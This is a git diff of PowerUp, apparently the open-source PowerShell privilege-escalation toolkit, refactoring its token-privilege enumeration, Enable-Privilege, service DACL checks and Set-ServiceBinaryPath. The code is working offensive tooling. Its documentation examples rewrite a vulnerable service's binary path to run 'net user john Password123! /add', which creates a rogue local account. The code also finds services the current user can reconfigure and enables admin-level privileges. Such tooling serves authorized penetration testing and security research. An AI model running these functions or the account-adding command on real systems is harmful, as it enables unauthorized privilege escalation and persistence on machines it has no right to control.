$TokenPrivilegesPtrSize = 0 + $Success = $Advapi32::GetTokenInformation($hProcToken, 3, 0, $TokenPrivilegesPtrSize, [ref]$TokenPrivilegesPtrSize) + [IntPtr]$TokenPrivilegesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenPrivilegesPtrSize) + + $Success = $Advapi32::GetTokenInformation($hProcToken, 3, $TokenPrivilegesPtr, $TokenPrivilegesPtrSize, [ref]$TokenPrivilegesPtrSize);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() + + if ($Success) { + $TokenPrivileges = $TokenPrivilegesPtr -as $TOKEN_PRIVILEGES + For ($i=0; $i -lt $TokenPrivileges.PrivilegeCount; $i++) { + $Privilege = New-Object PSObject + $Privilege | Add-Member Noteproperty 'Privilege' $TokenPrivileges.Privileges[$i].Luid.LowPart.ToString() + # cast the lower Luid field as our LuidAttributes enum + $Privilege | Add-Member Noteproperty 'Attributes' ($TokenPrivileges.Privileges[$i].Attributes -as $LuidAttributes) + $Privilege.PSObject.TypeNames.Insert(0, 'PowerUp.TokenPrivilege') + $Privilege + } + } + else { + Write-Warning ([ComponentModel.Win32Exception] $LastError) + } + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenPrivilegesPtr) + } + } +} - $CurrentProcess = $Kernel32::GetCurrentProcess() - $TOKEN_QUERY= 0x0008 +function Get-ProcessTokenGroup { +<# +.SYNOPSIS - # open up a pseudo handle to the current process- don't need to worry about closing - [IntPtr]$hProcToken = [IntPtr]::Zero - $Success = $Advapi32::OpenProcessToken($CurrentProcess, $TOKEN_QUERY, [ref]$hProcToken);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() +Returns all SIDs that the current token context is a part of, whether they are disabled or not. - if($Success) { - $TokenGroupsPtrSize = 0 - # Initial query to determine the necessary buffer size - $Success = $Advapi32::GetTokenInformation($hProcToken, 2, 0, $TokenGroupsPtrSize, [ref]$TokenGroupsPtrSize) +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect, Get-TokenInformation - [IntPtr]$TokenGroupsPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenGroupsPtrSize) +.DESCRIPTION - # query the current process token with the 'TokenGroups=2' TOKEN_INFORMATION_CLASS enum to retrieve a TOKEN_GROUPS structure - $Success = $Advapi32::GetTokenInformation($hProcToken, 2, $TokenGroupsPtr, $TokenGroupsPtrSize, [ref]$TokenGroupsPtrSize);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() +First, if a process ID is passed, then the process is opened using OpenProcess(), +otherwise GetCurrentProcess() is used to open up a pseudohandle to the current process. +OpenProcessToken() is then used to get a handle to the specified process token. The token +is then passed to Get-TokenInformation to query the current token groups for the specified +token. - if($Success) { +.PARAMETER Id - $TokenGroups = $TokenGroupsPtr -as $TOKEN_GROUPS +The process ID to enumerate token groups for, otherwise defaults to the current process. - For ($i=0; $i -lt $TokenGroups.GroupCount; $i++) { - # convert each token group SID to a displayable string - $SidString = '' - $Result = $Advapi32::ConvertSidToStringSid($TokenGroups.Groups[$i].SID, [ref]$SidString);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() - if($Result -eq 0) { - Write-Verbose "Error: $(([ComponentModel.Win32Exception] $LastError).Message)" - } - else { - $GroupSid = New-Object PSObject - $GroupSid | Add-Member Noteproperty 'SID' $SidString - # cast the atttributes field as our SidAttributes enum - $GroupSid | Add-Member Noteproperty 'Attributes' ($TokenGroups.Groups[$i].Attributes -as $SidAttributes) - $GroupSid +.EXAMPLE + +Get-ProcessTokenGroup + +SID Attributes ProcessId +--- ---------- --------- +S-1-5-21-890171859-3433809... ..._DEFAULT, SE_GROUP_ENABLED 1372 +S-1-1-0 ..._DEFAULT, SE_GROUP_ENABLED 1372 +S-1-5-32-544 SE_GROUP_USE_FOR_DENY_ONLY 1372 +S-1-5-32-545 ..._DEFAULT, SE_GROUP_ENABLED 1372 +S-1-5-4 ..._DEFAULT, SE_GROUP_ENABLED 1372 +S-1-2-1 ..._DEFAULT, SE_GROUP_ENABLED 1372 +S-1-5-11 ..._DEFAULT, SE_GROUP_ENABLED 1372 +S-1-5-15 ..._DEFAULT, SE_GROUP_ENABLED 1372 +S-1-5-5-0-419601 ...SE_GROUP_INTEGRITY_ENABLED 1372 +S-1-2-0 ..._DEFAULT, SE_GROUP_ENABLED 1372 +S-1-5-21-890171859-3433809... ..._DEFAULT, SE_GROUP_ENABLED 1372 +S-1-5-21-890171859-3433809... ..._DEFAULT, SE_GROUP_ENABLED 1372 +S-1-5-21-890171859-3433809... ..._DEFAULT, SE_GROUP_ENABLED 1372 +S-1-18-1 ..._DEFAULT, SE_GROUP_ENABLED 1372 +S-1-16-8192 1372 + +.EXAMPLE + +Get-Process notepad | Get-ProcessTokenGroup + +SID Attributes ProcessId +--- ---------- --------- +S-1-5-21-890171859-3433809... ..._DEFAULT, SE_GROUP_ENABLED 2640 +S-1-1-0 ..._DEFAULT, SE_GROUP_ENABLED 2640 +S-1-5-32-544 SE_GROUP_USE_FOR_DENY_ONLY 2640 +S-1-5-32-545 ..._DEFAULT, SE_GROUP_ENABLED 2640 +S-1-5-4 ..._DEFAULT, SE_GROUP_ENABLED 2640 +S-1-2-1 ..._DEFAULT, SE_GROUP_ENABLED 2640 +S-1-5-11 ..._DEFAULT, SE_GROUP_ENABLED 2640 +S-1-5-15 ..._DEFAULT, SE_GROUP_ENABLED 2640 +S-1-5-5-0-419601 ...SE_GROUP_INTEGRITY_ENABLED 2640 +S-1-2-0 ..._DEFAULT, SE_GROUP_ENABLED 2640 +S-1-5-21-890171859-3433809... ..._DEFAULT, SE_GROUP_ENABLED 2640 +S-1-5-21-890171859-3433809... ..._DEFAULT, SE_GROUP_ENABLED 2640 +S-1-5-21-890171859-3433809... ..._DEFAULT, SE_GROUP_ENABLED 2640 +S-1-18-1 ..._DEFAULT, SE_GROUP_ENABLED 2640 +S-1-16-8192 2640 + +.OUTPUTS + +PowerUp.TokenGroup + +Outputs a custom object containing the token group (SID/attributes) for the specified token if +"-InformationClass 'Groups'" is passed. + +PowerUp.TokenPrivilege + +Outputs a custom object containing the token privilege (name/attributes) for the specified token if +"-InformationClass 'Privileges'" is passed +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerUp.TokenGroup')] + [OutputType('PowerUp.TokenPrivilege')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('ProcessID')] + [UInt32] + [ValidateNotNullOrEmpty()] + $Id + ) + + PROCESS { + if ($PSBoundParameters['Id']) { + $ProcessHandle = $Kernel32::OpenProcess(0x400, $False, $Id);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() + if ($ProcessHandle -eq 0) { + Write-Warning ([ComponentModel.Win32Exception] $LastError) + } + else { + $ProcessID = $Id + } + } + else { + # open up a pseudo handle to the current process- don't need to worry about closing + $ProcessHandle = $Kernel32::GetCurrentProcess() + $ProcessID = $PID + } + + if ($ProcessHandle) { + [IntPtr]$hProcToken = [IntPtr]::Zero + $TOKEN_QUERY = 0x0008 + $Success = $Advapi32::OpenProcessToken($ProcessHandle, $TOKEN_QUERY, [ref]$hProcToken);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() + + if ($Success) { + $TokenGroups = Get-TokenInformation -TokenHandle $hProcToken -InformationClass 'Groups' + $TokenGroups | ForEach-Object { + $_ | Add-Member Noteproperty 'ProcessId' $ProcessID + $_ } } + else { + Write-Warning ([ComponentModel.Win32Exception] $LastError) + } + + if ($PSBoundParameters['Id']) { + # close the handle if we used OpenProcess() + $Null = $Kernel32::CloseHandle($ProcessHandle) + } + } + } +} + + +function Get-ProcessTokenPrivilege { +<# +.SYNOPSIS + +Returns all privileges for the current (or specified) process ID. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect, Get-TokenInformation + +.DESCRIPTION + +First, if a process ID is passed, then the process is opened using OpenProcess(), +otherwise GetCurrentProcess() is used to open up a pseudohandle to the current process. +OpenProcessToken() is then used to get a handle to the specified process token. The token +is then passed to Get-TokenInformation to query the current privileges for the specified +token. + +.PARAMETER Id + +The process ID to enumerate token groups for, otherwise defaults to the current process. + +.PARAMETER Special + +Switch. Only return 'special' privileges, meaning admin-level privileges. +These include SeSecurityPrivilege, SeTakeOwnershipPrivilege, SeLoadDriverPrivilege, SeBackupPrivilege, +SeRestorePrivilege, SeDebugPrivilege, SeSystemEnvironmentPrivilege, SeImpersonatePrivilege, SeTcbPrivilege. + +.EXAMPLE + +Get-ProcessTokenPrivilege + + Privilege Attributes ProcessId + --------- ---------- --------- + SeShutdownPrivilege DISABLED 2600 + SeChangeNotifyPrivilege ...AULT, SE_PRIVILEGE_ENABLED 2600 + SeUndockPrivilege DISABLED 2600 +SeIncreaseWorkingSetPrivilege DISABLED 2600 + SeTimeZonePrivilege DISABLED 2600 + +.EXAMPLE + +Get-ProcessTokenPrivilege -Special + +Privilege Attributes ProcessId +--------- ---------- --------- +SeSecurityPrivilege DISABLED 2444 +SeTakeOwnershipPrivilege DISABLED 2444 +SeBackupPrivilege DISABLED 2444 +SeRestorePrivilege DISABLED 2444 +SeSystemEnvironmentPriv... DISABLED 2444 +SeImpersonatePrivilege ...T, SE_PRIVILEGE_ENABLED 2444 + +.EXAMPLE + +Get-Process notepad | Get-ProcessTokenPrivilege | fl + +Privilege : SeShutdownPrivilege +Attributes : DISABLED +ProcessId : 2640 + +Privilege : SeChangeNotifyPrivilege +Attributes : SE_PRIVILEGE_ENABLED_BY_DEFAULT, SE_PRIVILEGE_ENABLED +ProcessId : 2640 + +Privilege : SeUndockPrivilege +Attributes : DISABLED +ProcessId : 2640 + +Privilege : SeIncreaseWorkingSetPrivilege +Attributes : DISABLED +ProcessId : 2640 + +Privilege : SeTimeZonePrivilege +Attributes : DISABLED +ProcessId : 2640 + +.OUTPUTS + +PowerUp.TokenGroup + +Outputs a custom object containing the token group (SID/attributes) for the specified token if +"-InformationClass 'Groups'" is passed. + +PowerUp.TokenPrivilege + +Outputs a custom object containing the token privilege (name/attributes) for the specified token if +"-InformationClass 'Privileges'" is passed +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerUp.TokenGroup')] + [OutputType('PowerUp.TokenPrivilege')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('ProcessID')] + [UInt32] + [ValidateNotNullOrEmpty()] + $Id, + + [Switch] + [Alias('Privileged')] + $Special + ) + + BEGIN { + $SpecialPrivileges = @('SeSecurityPrivilege', 'SeTakeOwnershipPrivilege', 'SeLoadDriverPrivilege', 'SeBackupPrivilege', 'SeRestorePrivilege', 'SeDebugPrivilege', 'SeSystemEnvironmentPrivilege', 'SeImpersonatePrivilege', 'SeTcbPrivilege') + } + + PROCESS { + if ($PSBoundParameters['Id']) { + $ProcessHandle = $Kernel32::OpenProcess(0x400, $False, $Id);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() + if ($ProcessHandle -eq 0) { + Write-Warning ([ComponentModel.Win32Exception] $LastError) + } + else { + $ProcessID = $Id + } } else { - Write-Warning ([ComponentModel.Win32Exception] $LastError) + # open up a pseudo handle to the current process- don't need to worry about closing + $ProcessHandle = $Kernel32::GetCurrentProcess() + $ProcessID = $PID + } + + if ($ProcessHandle) { + [IntPtr]$hProcToken = [IntPtr]::Zero + $TOKEN_QUERY = 0x0008 + $Success = $Advapi32::OpenProcessToken($ProcessHandle, $TOKEN_QUERY, [ref]$hProcToken);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() + if ($Success) { + Get-TokenInformation -TokenHandle $hProcToken -InformationClass 'Privileges' | ForEach-Object { + if ($PSBoundParameters['Special']) { + if ($SpecialPrivileges -Contains $_.Privilege) { + $_ | Add-Member Noteproperty 'ProcessId' $ProcessID + $_ + } + } + else { + $_ | Add-Member Noteproperty 'ProcessId' $ProcessID + $_ + } + } + } + else { + Write-Warning ([ComponentModel.Win32Exception] $LastError) + } + + if ($PSBoundParameters['Id']) { + # close the handle if we used OpenProcess() + $Null = $Kernel32::CloseHandle($ProcessHandle) + } } - [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenGroupsPtr) } - else { - Write-Warning ([ComponentModel.Win32Exception] $LastError) +} + + +function Enable-Privilege { +<# +.SYNOPSIS + +Enables a specific privilege for the current process. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect + +.DESCRIPTION + +Uses RtlAdjustPrivilege to enable a specific privilege for the current process. +Privileges can be passed by string, or the output from Get-ProcessTokenPrivilege +can be passed on the pipeline. + +.EXAMPLE + +Get-ProcessTokenPrivilege + + Privilege Attributes ProcessId + --------- ---------- --------- + SeShutdownPrivilege DISABLED 3620 + SeChangeNotifyPrivilege ...AULT, SE_PRIVILEGE_ENABLED 3620 + SeUndockPrivilege DISABLED 3620 +SeIncreaseWorkingSetPrivilege DISABLED 3620 + SeTimeZonePrivilege DISABLED 3620 + +Enable-Privilege SeShutdownPrivilege + +Get-ProcessTokenPrivilege + + Privilege Attributes ProcessId + --------- ---------- --------- + SeShutdownPrivilege SE_PRIVILEGE_ENABLED 3620 + SeChangeNotifyPrivilege ...AULT, SE_PRIVILEGE_ENABLED 3620 + SeUndockPrivilege DISABLED 3620 +SeIncreaseWorkingSetPrivilege DISABLED 3620 + SeTimeZonePrivilege DISABLED 3620 + +.EXAMPLE + +Get-ProcessTokenPrivilege + +Privilege Attributes ProcessId +--------- ---------- --------- +SeShutdownPrivilege DISABLED 2828 +SeChangeNotifyPrivilege ...AULT, SE_PRIVILEGE_ENABLED 2828 +SeUndockPrivilege DISABLED 2828 +SeIncreaseWorkingSetPrivilege DISABLED 2828 +SeTimeZonePrivilege DISABLED 2828 + + +Get-ProcessTokenPrivilege | Enable-Privilege -Verbose +VERBOSE: Attempting to enable SeShutdownPrivilege +VERBOSE: Attempting to enable SeChangeNotifyPrivilege +VERBOSE: Attempting to enable SeUndockPrivilege +VERBOSE: Attempting to enable SeIncreaseWorkingSetPrivilege +VERBOSE: Attempting to enable SeTimeZonePrivilege + +Get-ProcessTokenPrivilege + +Privilege Attributes ProcessId +--------- ---------- --------- +SeShutdownPrivilege SE_PRIVILEGE_ENABLED 2828 +SeChangeNotifyPrivilege ...AULT, SE_PRIVILEGE_ENABLED 2828 +SeUndockPrivilege SE_PRIVILEGE_ENABLED 2828 +SeIncreaseWorkingSetPrivilege SE_PRIVILEGE_ENABLED 2828 +SeTimeZonePrivilege SE_PRIVILEGE_ENABLED 2828 + +.LINK + +http://forum.sysinternals.com/tip-easy-way-to-enable-privileges_topic15745.html +#> + + [CmdletBinding()] + Param( + [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('Privileges')] + [ValidateSet('SeCreateTokenPrivilege', 'SeAssignPrimaryTokenPrivilege', 'SeLockMemoryPrivilege', 'SeIncreaseQuotaPrivilege', 'SeUnsolicitedInputPrivilege', 'SeMachineAccountPrivilege', 'SeTcbPrivilege', 'SeSecurityPrivilege', 'SeTakeOwnershipPrivilege', 'SeLoadDriverPrivilege', 'SeSystemProfilePrivilege', 'SeSystemtimePrivilege', 'SeProfileSingleProcessPrivilege', 'SeIncreaseBasePriorityPrivilege', 'SeCreatePagefilePrivilege', 'SeCreatePermanentPrivilege', 'SeBackupPrivilege', 'SeRestorePrivilege', 'SeShutdownPrivilege', 'SeDebugPrivilege', 'SeAuditPrivilege', 'SeSystemEnvironmentPrivilege', 'SeChangeNotifyPrivilege', 'SeRemoteShutdownPrivilege', 'SeUndockPrivilege', 'SeSyncAgentPrivilege', 'SeEnableDelegationPrivilege', 'SeManageVolumePrivilege', 'SeImpersonatePrivilege', 'SeCreateGlobalPrivilege', 'SeTrustedCredManAccessPrivilege', 'SeRelabelPrivilege', 'SeIncreaseWorkingSetPrivilege', 'SeTimeZonePrivilege', 'SeCreateSymbolicLinkPrivilege')] + [String[]] + $Privilege + ) + + PROCESS { + ForEach ($Priv in $Privilege) { + [UInt32]$PreviousState = 0 + Write-Verbose "Attempting to enable $Priv" + $Success = $NTDll::RtlAdjustPrivilege($SecurityEntity::$Priv, $True, $False, [ref]$PreviousState) + if ($Success -ne 0) { + Write-Warning "RtlAdjustPrivilege for $Priv failed: $Success" + } + } } } function Add-ServiceDacl { <# - .SYNOPSIS +.SYNOPSIS - Adds a Dacl field to a service object returned by Get-Service. +Adds a Dacl field to a service object returned by Get-Service. - Author: Matthew Graeber (@mattifestation) - License: BSD 3-Clause +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: PSReflect - .DESCRIPTION +.DESCRIPTION - Takes one or more ServiceProcess.ServiceController objects on the pipeline and adds a - Dacl field to each object. It does this by opening a handle with ReadControl for the - service with using the GetServiceHandle Win32 API call and then uses - QueryServiceObjectSecurity to retrieve a copy of the security descriptor for the service. +Takes one or more ServiceProcess.ServiceController objects on the pipeline and adds a +Dacl field to each object. It does this by opening a handle with ReadControl for the +service with using the GetServiceHandle Win32 API call and then uses +QueryServiceObjectSecurity to retrieve a copy of the security descriptor for the service. - .PARAMETER Name +.PARAMETER Name - An array of one or more service names to add a service Dacl for. Passable on the pipeline. +An array of one or more service names to add a service Dacl for. Passable on the pipeline. - .EXAMPLE +.EXAMPLE - PS C:\> Get-Service | Add-ServiceDacl +Get-Service | Add-ServiceDacl - Add Dacls for every service the current user can read. +Add Dacls for every service the current user can read. - .EXAMPLE +.EXAMPLE - PS C:\> Get-Service -Name VMTools | Add-ServiceDacl +Get-Service -Name VMTools | Add-ServiceDacl - Add the Dacl to the VMTools service object. +Add the Dacl to the VMTools service object. - .OUTPUTS +.OUTPUTS - ServiceProcess.ServiceController +ServiceProcess.ServiceController - .LINK +.LINK - https://rohnspowershellblog.wordpress.com/2013/03/19/viewing-service-acls/ +https://rohnspowershellblog.wordpress.com/2013/03/19/viewing-service-acls/ #> + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('ServiceProcess.ServiceController')] - param ( - [Parameter(Position=0, Mandatory=$True, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)] + [CmdletBinding()] + Param( + [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('ServiceName')] [String[]] [ValidateNotNullOrEmpty()] @@ -1067,19 +1501,16 @@ function Add-ServiceDacl { BEGIN { filter Local:Get-ServiceReadControlHandle { [OutputType([IntPtr])] - param ( - [Parameter(Mandatory=$True, ValueFromPipeline=$True)] + Param( + [Parameter(Mandatory = $True, ValueFromPipeline = $True)] [ValidateNotNullOrEmpty()] [ValidateScript({ $_ -as 'ServiceProcess.ServiceController' })] $Service ) $GetServiceHandle = [ServiceProcess.ServiceController].GetMethod('GetServiceHandle', [Reflection.BindingFlags] 'Instance, NonPublic') - $ReadControl = 0x00020000 - $RawHandle = $GetServiceHandle.Invoke($Service, @($ReadControl)) - $RawHandle } } @@ -1117,14 +1548,12 @@ function Add-ServiceDacl { $Dacl = $RawSecurityDescriptor.DiscretionaryAcl | ForEach-Object { Add-Member -InputObject $_ -MemberType NoteProperty -Name AccessRights -Value ($_.AccessMask -as $ServiceAccessRights) -PassThru } - Add-Member -InputObject $IndividualService -MemberType NoteProperty -Name Dacl -Value $Dacl -PassThru } } else { Write-Error ([ComponentModel.Win32Exception] $LastError) } - $Null = $Advapi32::CloseServiceHandle($ServiceHandle) } } @@ -1132,85 +1561,88 @@ function Add-ServiceDacl { } -function Set-ServiceBinPath { +function Set-ServiceBinaryPath { <# - .SYNOPSIS +.SYNOPSIS - Sets the binary path for a service to a specified value. +Sets the binary path for a service to a specified value. - Author: @harmj0y, Matthew Graeber (@mattifestation) - License: BSD 3-Clause +Author: Will Schroeder (@harmj0y), Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: PSReflect - .DESCRIPTION +.DESCRIPTION - Takes a service Name or a ServiceProcess.ServiceController on the pipeline and first opens up a - service handle to the service with ConfigControl access using the GetServiceHandle - Win32 API call. ChangeServiceConfig is then used to set the binary path (lpBinaryPathName/binPath) - to the string value specified by binPath, and the handle is closed off. +Takes a service Name or a ServiceProcess.ServiceController on the pipeline and first opens up a +service handle to the service with ConfigControl access using the GetServiceHandle +Win32 API call. ChangeServiceConfig is then used to set the binary path (lpBinaryPathName/binPath) +to the string value specified by binPath, and the handle is closed off. - Takes one or more ServiceProcess.ServiceController objects on the pipeline and adds a - Dacl field to each object. It does this by opening a handle with ReadControl for the - service with using the GetServiceHandle Win32 API call and then uses - QueryServiceObjectSecurity to retrieve a copy of the security descriptor for the service. +Takes one or more ServiceProcess.ServiceController objects on the pipeline and adds a +Dacl field to each object. It does this by opening a handle with ReadControl for the +service with using the GetServiceHandle Win32 API call and then uses +QueryServiceObjectSecurity to retrieve a copy of the security descriptor for the service. - .PARAMETER Name +.PARAMETER Name - An array of one or more service names to set the binary path for. Required. +An array of one or more service names to set the binary path for. Required. - .PARAMETER binPath +.PARAMETER Path - The new binary path (lpBinaryPathName) to set for the specified service. Required. +The new binary path (lpBinaryPathName) to set for the specified service. Required. - .OUTPUTS +.EXAMPLE - $True if configuration succeeds, $False otherwise. +Set-ServiceBinaryPath -Name VulnSvc -Path 'net user john Password123! /add' - .EXAMPLE +Sets the binary path for 'VulnSvc' to be a command to add a user. - PS C:\> Set-ServiceBinPath -Name VulnSvc -BinPath 'net user john Password123! /add' +.EXAMPLE - Sets the binary path for 'VulnSvc' to be a command to add a user. +Get-Service VulnSvc | Set-ServiceBinaryPath -Path 'net user john Password123! /add' - .EXAMPLE +Sets the binary path for 'VulnSvc' to be a command to add a user. - PS C:\> Get-Service VulnSvc | Set-ServiceBinPath -BinPath 'net user john Password123! /add' +.OUTPUTS - Sets the binary path for 'VulnSvc' to be a command to add a user. +System.Boolean - .LINK +$True if configuration succeeds, $False otherwise. - https://msdn.microsoft.com/en-us/library/windows/desktop/ms681987(v=vs.85).aspx +.LINK + +https://msdn.microsoft.com/en-us/library/windows/desktop/ms681987(v=vs.85).aspx #> - param ( - [Parameter(Position=0, Mandatory=$True, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] + [OutputType('System.Boolean')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('ServiceName')] [String[]] [ValidateNotNullOrEmpty()] $Name, - [Parameter(Position=1, Mandatory=$True)] + [Parameter(Position=1, Mandatory = $True)] + [Alias('BinaryPath', 'binPath')] [String] [ValidateNotNullOrEmpty()] - $binPath + $Path ) BEGIN { filter Local:Get-ServiceConfigControlHandle { [OutputType([IntPtr])] - param ( - [Parameter(Mandatory=$True, ValueFromPipeline=$True)] + Param( + [Parameter(Mandatory = $True, ValueFromPipeline = $True)] [ServiceProcess.ServiceController] [ValidateNotNullOrEmpty()] $TargetService ) - $GetServiceHandle = [ServiceProcess.ServiceController].GetMethod('GetServiceHandle', [Reflection.BindingFlags] 'Instance, NonPublic') - $ConfigControl = 0x00000002 - $RawHandle = $GetServiceHandle.Invoke($TargetService, @($ConfigControl)) - $RawHandle } } @@ -1231,11 +1663,10 @@ function Set-ServiceBinPath { if ($ServiceHandle -and ($ServiceHandle -ne [IntPtr]::Zero)) { $SERVICE_NO_CHANGE = [UInt32]::MaxValue - - $Result = $Advapi32::ChangeServiceConfig($ServiceHandle, $SERVICE_NO_CHANGE, $SERVICE_NO_CHANGE, $SERVICE_NO_CHANGE, "$binPath", [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() + $Result = $Advapi32::ChangeServiceConfig($ServiceHandle, $SERVICE_NO_CHANGE, $SERVICE_NO_CHANGE, $SERVICE_NO_CHANGE, "$Path", [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() if ($Result -ne 0) { - Write-Verbose "binPath for $IndividualService successfully set to '$binPath'" + Write-Verbose "binPath for $IndividualService successfully set to '$Path'" $True } else { @@ -1252,69 +1683,71 @@ function Set-ServiceBinPath { function Test-ServiceDaclPermission { <# - .SYNOPSIS - - Tests one or more passed services or service names against a given permission set, - returning the service objects where the current user have the specified permissions. +.SYNOPSIS - Author: @harmj0y, Matthew Graeber (@mattifestation) - License: BSD 3-Clause +Tests one or more passed services or service names against a given permission set, +returning the service objects where the current user have the specified permissions. - .DESCRIPTION +Author: Will Schroeder (@harmj0y), Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: Add-ServiceDacl - Takes a service Name or a ServiceProcess.ServiceController on the pipeline, and first adds - a service Dacl to the service object with Add-ServiceDacl. All group SIDs for the current - user are enumerated services where the user has some type of permission are filtered. The - services are then filtered against a specified set of permissions, and services where the - current user have the specified permissions are returned. +.DESCRIPTION - .PARAMETER Name +Takes a service Name or a ServiceProcess.ServiceController on the pipeline, and first adds +a service Dacl to the service object with Add-ServiceDacl. All group SIDs for the current +user are enumerated services where the user has some type of permission are filtered. The +services are then filtered against a specified set of permissions, and services where the +current user have the specified permissions are returned. - An array of one or more service names to test against the specified permission set. +.PARAMETER Name - .PARAMETER Permissions +An array of one or more service names to test against the specified permission set. - A manual set of permission to test again. One of:'QueryConfig', 'ChangeConfig', 'QueryStatus', - 'EnumerateDependents', 'Start', 'Stop', 'PauseContinue', 'Interrogate', UserDefinedControl', - 'Delete', 'ReadControl', 'WriteDac', 'WriteOwner', 'Synchronize', 'AccessSystemSecurity', - 'GenericAll', 'GenericExecute', 'GenericWrite', 'GenericRead', 'AllAccess' +.PARAMETER Permissions - .PARAMETER PermissionSet +A manual set of permission to test again. One of:'QueryConfig', 'ChangeConfig', 'QueryStatus', +'EnumerateDependents', 'Start', 'Stop', 'PauseContinue', 'Interrogate', UserDefinedControl', +'Delete', 'ReadControl', 'WriteDac', 'WriteOwner', 'Synchronize', 'AccessSystemSecurity', +'GenericAll', 'GenericExecute', 'GenericWrite', 'GenericRead', 'AllAccess' - A pre-defined permission set to test a specified service against. 'ChangeConfig', 'Restart', or 'AllAccess'. +.PARAMETER PermissionSet - .OUTPUTS +A pre-defined permission set to test a specified service against. 'ChangeConfig', 'Restart', or 'AllAccess'. - ServiceProcess.ServiceController +.EXAMPLE - .EXAMPLE +Get-Service | Test-ServiceDaclPermission - PS C:\> Get-Service | Test-ServiceDaclPermission +Return all service objects where the current user can modify the service configuration. - Return all service objects where the current user can modify the service configuration. +.EXAMPLE - .EXAMPLE +Get-Service | Test-ServiceDaclPermission -PermissionSet 'Restart' - PS C:\> Get-Service | Test-ServiceDaclPermission -PermissionSet 'Restart' +Return all service objects that the current user can restart. - Return all service objects that the current user can restart. +.EXAMPLE +Test-ServiceDaclPermission -Permissions 'Start' -Name 'VulnSVC' - .EXAMPLE +Return the VulnSVC object if the current user has start permissions. - PS C:\> Test-ServiceDaclPermission -Permissions 'Start' -Name 'VulnSVC' +.OUTPUTS - Return the VulnSVC object if the current user has start permissions. +ServiceProcess.ServiceController - .LINK +.LINK - https://rohnspowershellblog.wordpress.com/2013/03/19/viewing-service-acls/ +https://rohnspowershellblog.wordpress.com/2013/03/19/viewing-service-acls/ #> + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('ServiceProcess.ServiceController')] - param ( - [Parameter(Position=0, Mandatory=$True, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)] - [Alias('ServiceName')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('ServiceName', 'Service')] [String[]] [ValidateNotNullOrEmpty()] $Name, @@ -1354,18 +1787,18 @@ function Test-ServiceDaclPermission { $CheckAllPermissionsInSet = $False - if($PSBoundParameters['Permissions']) { + if ($PSBoundParameters['Permissions']) { $TargetPermissions = $Permissions } else { - if($PermissionSet -eq 'ChangeConfig') { + if ($PermissionSet -eq 'ChangeConfig') { $TargetPermissions = @('ChangeConfig', 'WriteDac', 'WriteOwner', 'GenericAll', ' GenericWrite', 'AllAccess') } - elseif($PermissionSet -eq 'Restart') { + elseif ($PermissionSet -eq 'Restart') { $TargetPermissions = @('Start', 'Stop') $CheckAllPermissionsInSet = $True # so we check all permissions && style } - elseif($PermissionSet -eq 'AllAccess') { + elseif ($PermissionSet -eq 'AllAccess') { $TargetPermissions = @('GenericAll', 'AllAccess') } } @@ -1377,7 +1810,7 @@ function Test-ServiceDaclPermission { $TargetService = $IndividualService | Add-ServiceDacl - if($TargetService -and $TargetService.Dacl) { + if ($TargetService -and $TargetService.Dacl) { # enumerate all group SIDs the current user is a part of $UserIdentity = [System.Security.Principal.WindowsIdentity]::GetCurrent() @@ -1385,9 +1818,9 @@ function Test-ServiceDaclPermission { $CurrentUserSids += $UserIdentity.User.Value ForEach($ServiceDacl in $TargetService.Dacl) { - if($CurrentUserSids -contains $ServiceDacl.SecurityIdentifier) { + if ($CurrentUserSids -contains $ServiceDacl.SecurityIdentifier) { - if($CheckAllPermissionsInSet) { + if ($CheckAllPermissionsInSet) { $AllMatched = $True 